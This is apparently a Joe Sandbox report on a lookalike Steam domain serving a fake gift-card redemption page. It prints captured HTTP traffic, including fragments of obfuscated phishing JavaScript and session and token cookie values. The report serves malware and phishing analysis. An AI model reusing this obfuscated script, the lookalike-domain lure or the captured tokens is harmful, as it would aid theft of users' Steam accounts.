2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 79 79 2b 30 78 35 33 5d 7d 2c 30 78 31 29 3b 72 65 74 75 72 6e 20 7a 4c 31 34 63 67 66 3d 2d 75 34 63 4a 54 55 28 2d 30 78 32 36 29 7d 2c 54 3a 28 29 3d 3e 7b 76 61 72 20 75 34 63 4a 54 55 3d 41 73 63 74 64 6d 28 5a 59 4d 39 76 79 79 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 5a 59 4d 39 76 79 79 3c 30 78 31 65 3f 5a 59 4d 39 76 79 79 2b 30 78 32 34 3a 5a 59 4d 39 76 79 79 2b 30 78 31 5d 7d 2c 30 78 31 29 3b 69 66 28 7a 4c 31 34 63 67 66 3d 3d 56 35 50 6a 63 31 67 2b 28 56 35 50 6a 63 31 67 2b 28 7a 4c 31 34 63 67 66 2d 30 78 31 33 61 29 29 7c 7c 75 34 63 4a 54 55 28 30 78 62 29 29 7b 21 28 56 35 50 6a 63 31 67 2b 3d 30 78 36 39 2c 7a 4c 31 34 63 67 66 2d 3d 30 78 34 65 29 3b 72 65 74 75 72 6e 20 56 34 58 69 63 65 6d 28 30 78 34 30 29 7d 21 28 68 Data Ascii: yy+0x53]},0x1);return zL14cgf=-u4cJTU(-0x26)},T:()=>{var u4cJTU=Asctdm(ZYM9vyy=>{return uBmvIT[ZYM9vyy<0x1e?ZYM9vyy+0x24:ZYM9vyy+0x1]},0x1);if(zL14cgf==V5Pjc1g+(V5Pjc1g+(zL14cgf-0x13a))\|\|u4cJTU(0xb)){!(V5Pjc1g+=0x69,zL14cgf-=0x4e);return V4Xicem(0x40)}!(h

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:34 UTC	1072	OUT	GET /714a7a547506540059065a09725d0c50085f5e5f HTTP/1.1 Host: scenmconmmumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.7FwGvQuffRuRMmMe-9IzqtSxnzc4vOCo.OHHxsye8vXgoBs21.U2goMglmMnfaZ3w18AYfRq5j7u3YTTj9kfxVSgGOw_fXivu-X_7cLHyQaQCFkIfJDytEO8sJYhdXjin72r6h8GLiebnQsoDYhYW6wwKuEiEA4kJjs-SVOOMR7V_1UEE-oEdHn1s2RITTk4o2uUrY72Hjz9lIrjh71SRdDVLac9gtYrL-FV67_lSnU1V4mwNsBuhMkeU0MmrNicqAx_rPmgVLtlNWC8Lw5NCCz2n7UDkPGTTGj7Ro.dJJoGrF4Bw7qrsf3RfMvdw; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjUzNDU4NzdjMWM5YjExYzFjNjA4YzIwMTA2MGVkN2I1Iiwic2VydmljZSI6IlN0ZWFtIn0.5VcVK6mtwkVDMR8HF0lQwiEaGSuFpCUuu5NzPcptdd8
2024-09-29 00:41:34 UTC	1188	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:41:34 GMT Content-Length: 0 Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.rsmGHZ_jvhNbwacZdaCnkV8jtrltf47c.4fNMUpKiA26HQQZ2.stGN3efd8ZlAZUL-qFZIX2Jd9-CDmdPCPkwzIXovdLlbXhxhI6D-M93kYK-Ss2Z3DJZaEBLuH54ccBJzoIjzIhxG.jwsb95q6-Nh07pQ61Jj15Q; Path=/; Expires=Sun, 29 Sep 2024 04:41:34 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JPQsPCcIm01Z%2FSU3QM8MmpFpj1gKDVPw88%2BoEPM73CFIAq%2FelwUdhg3mYwX8FX5atvbnq%2FcHpv55lWs20jbWlxapAxIoabtiynZxKUZ5bp9rLSAi4YKd%2F%2Fh4pT8DAAlLCUC0YU5Igg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ca7eda48bed42b1-EWR

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://scenmconmmumnlty.com/close/geting/active

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 221

Chrome Cache Entry: 222

Chrome Cache Entry: 223

Chrome Cache Entry: 224

Chrome Cache Entry: 225

Chrome Cache Entry: 226

Chrome Cache Entry: 227

Chrome Cache Entry: 228

Chrome Cache Entry: 229

Chrome Cache Entry: 230

Chrome Cache Entry: 231

Chrome Cache Entry: 232

Chrome Cache Entry: 233

Chrome Cache Entry: 234

Chrome Cache Entry: 235

Chrome Cache Entry: 236

Chrome Cache Entry: 237

Chrome Cache Entry: 238

Chrome Cache Entry: 239

Windows Analysis Report
https://scenmconmmumnlty.com/close/geting/active

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:34 UTC	553	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:41:35 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Thu, 11 Jul 2024 06:11:40 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Sun, 29 Sep 2024 00:41:34 GMT Connection: close
2024-09-29 00:41:35 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-09-29 00:41:35 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-09-29 00:41:35 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-09-29 00:41:35 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:35 UTC	1465	OUT	GET /close/geting/active HTTP/1.1 Host: scenmconmmumnlty.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.7FwGvQuffRuRMmMe-9IzqtSxnzc4vOCo.OHHxsye8vXgoBs21.U2goMglmMnfaZ3w18AYfRq5j7u3YTTj9kfxVSgGOw_fXivu-X_7cLHyQaQCFkIfJDytEO8sJYhdXjin72r6h8GLiebnQsoDYhYW6wwKuEiEA4kJjs-SVOOMR7V_1UEE-oEdHn1s2RITTk4o2uUrY72Hjz9lIrjh71SRdDVLac9gtYrL-FV67_lSnU1V4mwNsBuhMkeU0MmrNicqAx_rPmgVLtlNWC8Lw5NCCz2n7UDkPGTTGj7Ro.dJJoGrF4Bw7qrsf3RfMvdw; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjUzNDU4NzdjMWM5YjExYzFjNjA4YzIwMTA2MGVkN2I1Iiwic2VydmljZSI6IlN0ZWFtIn0.5VcVK6mtwkVDMR8HF0lQwiEaGSuFpCUuu5NzPcptdd8; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.rsmGHZ_jvhNbwacZdaCnkV8jtrltf47c.4fNMUpKiA26HQQZ2.stGN3efd8ZlAZUL-qFZIX2Jd9-CDmdPCPkwzIXovdLlbXhxhI6D-M93kYK-Ss2Z3DJZaEBLuH54ccBJzoIjzIhxG.jwsb95q6-Nh07pQ61Jj15Q
2024-09-29 00:41:35 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:41:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7AokXzJegzJ%2Bd7ZWGxadp5Q63t4i3USH6WrFGxMqerR%2BLUg6Iy86Edi2wMQo%2FvJlo0FIFjqDlMX0SOVLEEkyFjnuNnQTtAjHtWoctXeARc%2F4%2F84%2B8OpKomadZNWu7F2rHVp7NexZ3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ca7edae194a0f5b-EWR
2024-09-29 00:41:35 UTC	358	IN	Data Raw: 33 66 61 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 3fa0<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 74 69 74 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 27 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 27 20 74 79 70 65 3d 27 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 27 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 69 6d 61 67 65 27 20 63 6f 6e 74 65 6e 74 3d 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 Data Ascii: itle> <meta property='og:title' content='Redeem a Steam Gift Card or Wallet Code'> <link rel='shortcut icon' href='https://steamcommunity.com/favicon.ico' type='image/x-icon'> <meta property='og:image' content='https://store.akamai.steamstatic.com/p
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 3e 65 24 78 23 79 27 2c 27 45 45 56 4b 37 3d 5a 3b 3b 52 27 2c 27 45 45 30 3d 66 2c 41 27 2c 27 42 45 5a 32 62 27 2c 27 64 72 57 66 53 5b 41 27 2c 27 5b 2b 59 62 3b 6d 75 4d 5b 32 5b 75 77 50 39 64 2e 41 27 2c 27 65 50 28 67 2a 5b 2f 4e 78 53 49 3b 69 39 4d 27 2c 27 71 61 3b 49 63 2c 6d 43 27 2c 27 5a 72 65 66 65 27 2c 27 78 6f 6a 67 5d 5b 41 27 2c 27 70 77 29 2c 6c 6c 39 58 67 35 73 30 55 50 50 6e 27 2c 27 45 45 66 3c 2f 5b 6a 4e 72 55 27 2c 27 36 69 6d 66 4e 5b 55 43 2c 52 43 76 65 78 38 6a 2e 49 63 3d 79 3b 6f 65 61 55 32 75 3e 78 6a 4c 64 50 42 32 66 2c 78 76 23 46 5d 34 70 45 6e 6e 2a 55 5e 49 27 2c 27 32 61 56 4b 65 2c 41 27 2c 27 75 4a 28 67 67 3e 6d 43 27 2c 27 49 45 30 3d 63 2c 79 43 27 2c 27 64 50 40 4a 76 29 63 65 47 27 2c 27 77 35 39 4b 65 2c Data Ascii: >e$x#y','EEVK7=Z;;R','EE0=f,A','BEZ2b','drWfS[A','[+Yb;muM[2[uwP9d.A','eP(g[/NxSI;i9M','qa;Ic,mC','Zrefe','xojg][A','pw),ll9Xg5s0UPPn','EEf</[jNrU','6imfN[UC,RCvex8j.Ic=y;oeaU2u>xjLdPB2f,xv#F]4pEnnU^I','2aVKe,A','uJ(gg>mC','IE0=c,yC','dP@Jv)ceG','w59Ke,
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 78 32 63 3a 51 68 74 71 48 49 2b 30 78 33 35 5d 7d 2c 30 78 31 29 3b 55 4c 6d 73 6f 52 30 3d 28 42 6f 70 5a 4c 61 4d 26 66 6d 35 38 58 43 6e 28 2d 30 78 32 38 29 29 3c 3c 6f 78 65 45 62 49 28 30 78 33 66 29 7c 51 68 74 71 48 49 5b 6c 59 4f 41 6d 75 6e 2b 2b 5d 26 30 78 33 66 7d 65 6c 73 65 7b 69 66 28 42 6f 70 5a 4c 61 4d 3c 3d 30 78 65 66 29 7b 76 61 72 20 74 32 44 4e 39 62 3d 51 72 76 66 5f 62 7a 28 51 68 74 71 48 49 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2d 30 78 34 32 3a 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3c 30 78 32 31 3f 51 68 74 71 48 49 2d 30 78 34 36 3a 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2b 30 78 35 31 3a 51 Data Ascii: x2c:QhtqHI+0x35]},0x1);ULmsoR0=(BopZLaM&fm58XCn(-0x28))<<oxeEbI(0x3f)\|QhtqHI[lYOAmun++]&0x3f}else{if(BopZLaM<=0xef){var t2DN9b=Qrvf_bz(QhtqHI=>{return dcbYO6[QhtqHI<0x46?QhtqHI>0x46?QhtqHI-0x42:QhtqHI<0x46?QhtqHI<0x21?QhtqHI-0x46:QhtqHI>0x46?QhtqHI+0x51:Q
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 78 34 61 29 5d 28 6f 78 65 45 62 49 28 30 78 34 39 29 2c 5b 30 78 36 5d 29 2c 71 30 65 62 77 72 57 3d 67 62 74 51 6d 68 28 6f 78 65 45 62 49 28 30 78 34 37 29 29 29 3b 66 75 6e 63 74 69 6f 6e 20 49 30 49 65 63 54 64 28 50 49 44 66 41 54 7a 2c 45 65 78 66 6b 71 31 29 7b 76 61 72 20 4b 33 35 41 47 51 3d 51 72 76 66 5f 62 7a 28 50 49 44 66 41 54 7a 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 50 49 44 66 41 54 7a 3c 30 78 35 65 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 34 64 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2b 30 78 36 30 3a 50 49 44 66 41 54 7a 3e 30 78 33 39 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 31 66 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 Data Ascii: x4a)](oxeEbI(0x49),[0x6]),q0ebwrW=gbtQmh(oxeEbI(0x47)));function I0IecTd(PIDfATz,Eexfkq1){var K35AGQ=Qrvf_bz(PIDfATz=>{return dcbYO6[PIDfATz<0x5e?PIDfATz<0x39?PIDfATz-0x4d:PIDfATz<0x39?PIDfATz+0x60:PIDfATz>0x39?PIDfATz<0x39?PIDfATz-0x1f:PIDfATz<0x39?PIDfA
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 70 39 77 36 28 2d 4b 33 35 41 47 51 28 2d 30 78 31 38 29 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 62 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 29 29 2c 57 58 70 39 77 36 28 2d 4b 33 35 41 47 51 28 2d 30 78 31 38 29 29 29 2f 30 78 31 2b 49 30 49 65 63 54 64 28 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 61 66 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 29 29 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 2f 4b 33 35 41 47 51 28 2d 30 78 61 29 2b 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 39 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 61 33 2c 6c 78 33 64 42 4f 4a 3d Data Ascii: p9w6(-K35AGQ(-0x18))),I0IecTd(0xbb,lx3dBOJ=-0x22))),WXp9w6(-K35AGQ(-0x18)))/0x1+I0IecTd(parseInt(QhtqHI(I0IecTd(0xaf,WXp9w6(-0x22)),I0IecTd(0xb2,WXp9w6(-0x22)))),lx3dBOJ=-0x22)/K35AGQ(-0xa)+parseInt(QhtqHI(I0IecTd(0x92,WXp9w6(-0x22)),I0IecTd(0xa3,lx3dBOJ=
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3c 2d 30 78 64 3f 50 49 44 66 41 54 7a 2d 30 78 35 35 3a 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 2b 30 78 63 3a 50 49 44 66 41 54 7a 2b 30 78 31 64 3a 50 49 44 66 41 54 7a 2d 30 78 31 37 3a 50 49 44 66 41 54 7a 2b 30 78 34 65 3a 50 49 44 66 41 54 7a 2d 30 78 35 36 3a 50 49 44 66 41 54 7a 2b 30 78 66 3a 50 49 44 66 41 54 7a 2b 30 78 34 37 3a 50 49 44 66 41 54 7a 2b 30 78 31 31 3a 50 49 44 66 41 54 7a 2d 30 78 32 63 5d 7d 2c 30 78 31 29 3b 76 6f 69 64 28 77 69 Data Ascii: ATz<0x18?PIDfATz<0x18?PIDfATz<0x18?PIDfATz>-0xd?PIDfATz<-0xd?PIDfATz-0x55:PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz+0xc:PIDfATz+0x1d:PIDfATz-0x17:PIDfATz+0x4e:PIDfATz-0x56:PIDfATz+0xf:PIDfATz+0x47:PIDfATz+0x11:PIDfATz-0x2c]},0x1);void(wi
2024-09-29 00:41:35 UTC	1369	IN	Data Raw: 2c 67 62 74 51 6d 68 28 30 78 32 31 29 2c 6c 59 4f 41 6d 75 6e 5b 6f 78 65 45 62 49 28 30 78 34 64 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 33 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 35 37 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 35 29 2c 67 62 74 51 6d 68 28 30 78 32 36 29 2c 67 62 74 51 6d 68 28 51 68 74 71 48 49 28 2d 30 78 34 37 29 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 34 36 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 39 29 2c 67 62 74 51 6d 68 28 30 78 32 61 29 2c 66 6d 35 38 58 43 6e 5b 6f 78 65 45 62 49 28 30 78 35 30 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 63 29 2c 67 62 74 51 6d 68 28 30 78 32 64 29 2c 67 62 74 51 6d 68 2e 63 61 6c 6c 28 6f 78 65 45 62 49 28 30 78 34 39 29 2c 6f 78 65 45 62 49 28 30 78 35 31 29 29 Data Ascii: 